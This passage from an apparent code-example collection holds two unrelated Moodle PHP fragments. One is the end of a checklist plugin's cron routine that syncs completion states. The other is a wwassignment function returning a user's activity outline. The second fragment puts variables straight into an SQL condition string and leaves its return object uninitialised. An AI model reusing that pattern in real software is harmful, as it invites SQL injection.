    list($msql, $mparam) = $DB->get_in_or_equal(array_keys($courses));
    $sql = 'SELECT c.id, c.coursemoduleid, c.userid, c.completionstate FROM {course_modules_completion} c ';
    $sql .= 'JOIN {course_modules} m ON c.coursemoduleid = m.id ';
    $sql .= "WHERE c.timemodified > ? AND m.course {$msql} ";
    $params = array_merge(array($lastlogtime), $mparam);
    $completions = $DB->get_records_sql($sql, $params);
    if (defined("DEBUG_CHECKLIST_AUTOUPDATE")) {
        mtrace("Found " . count($completions) . " completion updates to check");
    }
    foreach ($completions as $completion) {
        $completionupdate += checklist_completion_autoupdate($completion->coursemoduleid, $completion->userid, $completion->completionstate);
    }
    if ($completionupdate) {
        mtrace(" Updated {$completionupdate} checkmark(s) from completion changes");
    } else {
        mtrace(" No checkmarks need updating from completion changes");
    }
    return true;
}
Beispiel #20
0
function wwassignment_user_outline($course, $user, $mod, $wwassignment)
{
    /// Return a small object with summary information about what a
    /// user has done with a given particular instance of this module
    /// Used for user activity reports.
    /// $return->time = the time they did it
    /// $return->info = a short text description
    $aLogs = get_logs("l.userid={$user} AND l.course={$course} AND l.cmid={$wwassignment->id}");
    if (count($aLogs) > 0) {
        $return->time = $aLogs[0]->time;
        $return->info = $aLogs[0]->info;
    }
    return $return;
}